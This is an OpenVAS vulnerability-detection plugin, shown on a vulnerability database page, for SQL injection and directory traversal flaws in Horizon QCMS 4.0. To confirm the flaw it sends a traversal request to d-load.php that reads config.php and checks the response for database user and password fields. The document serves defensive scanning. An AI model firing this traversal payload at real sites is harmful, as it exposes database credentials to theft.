Lucene search

K
openvasCopyright (C) 2014 Greenbone AGOPENVAS:1361412562310804224
HistoryJan 17, 2014 - 12:00 a.m.

Horizon QCMS Multiple Vulnerabilities

2014-01-1700:00:00
Copyright (C) 2014 Greenbone AG
plugins.openvas.org
10

6.4 Medium

AI Score

Confidence

Low

0.008 Low

EPSS

Percentile

82.0%

Horizon QCMS is prone to multiple vulnerabilities.

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.804224");
  script_version("2023-12-13T05:05:23+0000");
  script_cve_id("CVE-2013-7138", "CVE-2013-7139");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2014-01-17 15:28:29 +0530 (Fri, 17 Jan 2014)");
  script_name("Horizon QCMS Multiple Vulnerabilities");

  script_tag(name:"summary", value:"Horizon QCMS is prone to multiple vulnerabilities.");

  script_tag(name:"vuldetect", value:"Send a crafted exploit string via HTTP GET request and check whether it
  is able to read config file.");

  script_tag(name:"insight", value:"Flaw exists in 'd-load.php' and 'download.php' scripts, which fail to
  properly sanitize user-supplied input to 'category' and 'start' parameter.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to execute SQL commands
  or obtain sensitive information.");

  script_tag(name:"affected", value:"Horizon QCMS version 4.0, Other versions may also be affected.");

  script_tag(name:"solution", value:"Upgrade to Horizon QCMS version 4.1 or later.");

  script_xref(name:"URL", value:"https://www.htbridge.com/advisory/HTB23191");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/64715");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/64717");
  script_xref(name:"URL", value:"http://exploitsdownload.com/exploit/na/horizon-qcms-40-sql-injection-directory-traversal");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_app");
  script_xref(name:"URL", value:"http://www.hnqcms.com/");
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

http_port = http_get_port(default:80);

if(!http_can_host_php(port:http_port)){
  exit(0);
}

foreach dir (make_list_unique("/", "/cms", "/qcms", "/hqcms", "/horizonqcms", http_cgi_dirs(port:http_port)))
{

  if(dir == "/") dir = "";

  res = http_get_cache(item:string(dir, "/index.php"),  port:http_port);

  if(res &&  "Powered by Horzon QCMS" >< res)
  {
    url = dir + "/lib/functions/d-load.php?start=../../config.php" ;

    req = http_get(item:url,  port:http_port);
    res = http_keepalive_send_recv(port:http_port, data:req);

    if(res &&  "$user" >< res && "$password" >< res && "$dbname" >< res)
    {
      security_message(port:http_port);
      exit(0);
    }
  }
}

exit(99);

6.4 Medium

AI Score

Confidence

Low

0.008 Low

EPSS

Percentile

82.0%